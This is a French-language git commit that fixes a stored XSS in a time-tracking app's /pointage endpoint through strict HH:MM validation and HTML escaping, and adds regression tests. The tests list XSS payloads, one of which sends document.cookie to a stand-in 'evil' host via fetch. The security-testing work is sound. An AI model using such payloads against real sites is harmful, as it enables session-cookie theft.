Bloque le XSS stocké via /pointage et échappe les fragments HTMX
POST /pointage acceptait n'importe quelle valeur pour les 4 champs
matin_entree/matin_sortie/aprem_entree/aprem_sortie : la fonction clean ne
faisait qu'un strip(). Comme ces valeurs sont réinjectées telles quelles
dans des f-strings HTML hors templates Jinja (qui seuls bénéficient de
l'autoescape), un payload type `"><svg/onload=...>` déclenchait une
exécution JS immédiate dans la réponse HTMX, sans CSP pour limiter l'impact.
Double défense appliquée :
1. Validation stricte en entrée : clean() refuse désormais tout ce qui ne
matche pas _HHMM_RE (^([01]\d|2[0-3]):[0-5]\d$). Une valeur non conforme
est traitée comme vide plutôt que stockée.
2. Échappement HTML systématique en sortie : un alias `_e = html.escape`
est appliqué à toutes les valeurs dynamiques (date, heures, cibles)
dans _oob_calc, _oob_week_extras, _oob_time_cells et
_htmx_conge_and_soldes. Les ids, data-date, value, hx-post et contenus
textuels sont protégés.
Les nouveaux tests test_security couvrent plusieurs payloads XSS, vérifient
que la valeur n'est ni persistée ni reflétée, et qu'un pointage HHMM
valide continue à fonctionner.
💘 Generated with Crush
Assisted-by: Crush:glm-5.2
This commit is contained in:
@ -162,3 +162,68 @@ def test_settings_save_rejects_ssrf_ntfy_server():
|
||||
# La valeur précédente est conservée
|
||||
cfg = models.load_notif_config("carol")
|
||||
assert cfg["ntfy_server"] == "https://ntfy.sh"
|
||||
|
||||
|
||||
# ── XSS stocké via /pointage ──────────────────────────────────────────────────
|
||||
|
||||
XSS_PAYLOADS = [
|
||||
'"><svg/onload=alert(1)>',
|
||||
'"><script>alert(document.cookie)</script>',
|
||||
"'/><script>fetch('//evil/'+document.cookie)</script>",
|
||||
]
|
||||
|
||||
|
||||
def test_pointage_rejects_non_hhmm_value():
|
||||
"""POST /pointage avec une valeur non HHMM ne doit pas être persistée."""
|
||||
cookies = _login("dave")
|
||||
for payload in XSS_PAYLOADS:
|
||||
r = client.post("/pointage/2026-07-17", cookies=cookies, data={
|
||||
"matin_entree": payload,
|
||||
"matin_sortie": "",
|
||||
"aprem_entree": "",
|
||||
"aprem_sortie": "",
|
||||
})
|
||||
# La réponse ne doit pas planter
|
||||
assert r.status_code == 200
|
||||
# Le payload ne doit pas se retrouver tel quel dans la réponse
|
||||
assert payload not in r.text, payload
|
||||
# Vérification de la persistance
|
||||
week = models.load_week_pointages(2026, 29, "dave")
|
||||
entry = next((p for p in week if p["date"] == "2026-07-17"), None)
|
||||
assert entry is not None
|
||||
# matin_entree doit avoir été ignoré (None), pas stocké tel quel
|
||||
assert entry["matin_entree"] is None
|
||||
|
||||
|
||||
def test_pointage_valid_hhmm_still_works():
|
||||
"""Un pointage HHMM valide doit continuer à fonctionner."""
|
||||
cookies = _login("erin")
|
||||
r = client.post("/pointage/2026-07-17", cookies=cookies, data={
|
||||
"matin_entree": "08:45",
|
||||
"matin_sortie": "12:00",
|
||||
"aprem_entree": "",
|
||||
"aprem_sortie": "",
|
||||
})
|
||||
assert r.status_code == 200
|
||||
assert "08:45" in r.text
|
||||
week = models.load_week_pointages(2026, 29, "erin")
|
||||
entry = next((p for p in week if p["date"] == "2026-07-17"), None)
|
||||
assert entry["matin_entree"] == "08:45"
|
||||
|
||||
|
||||
def test_oob_html_escapes_date_attribute():
|
||||
"""Si la date (issue de l'URL) contient des caractères HTML, ils doivent être échappés."""
|
||||
cookies = _login("frank")
|
||||
# Forçage d'un pointage valide pour déclencher le rendu _oob_time_cells
|
||||
client.post("/pointage/2026-07-17", cookies=cookies, data={
|
||||
"matin_entree": "08:45", "matin_sortie": "", "aprem_entree": "", "aprem_sortie": "",
|
||||
})
|
||||
# Une date malicieuse dans /refresh/... doit être échappée si elle passe strptime
|
||||
# (les caractères HTML ne passent pas strptime, mais on vérifie que l'escape est actif
|
||||
# sur le rendu d'un pointage normal pour la date légitime)
|
||||
r = client.post("/pointage/2026-07-17", cookies=cookies, data={
|
||||
"matin_entree": "08:45", "matin_sortie": "12:00",
|
||||
"aprem_entree": "14:00", "aprem_sortie": "17:30",
|
||||
})
|
||||
assert "<script" not in r.text.lower()
|
||||
assert "onload" not in r.text.lower()
|
||||
|
||||
Reference in New Issue
Block a user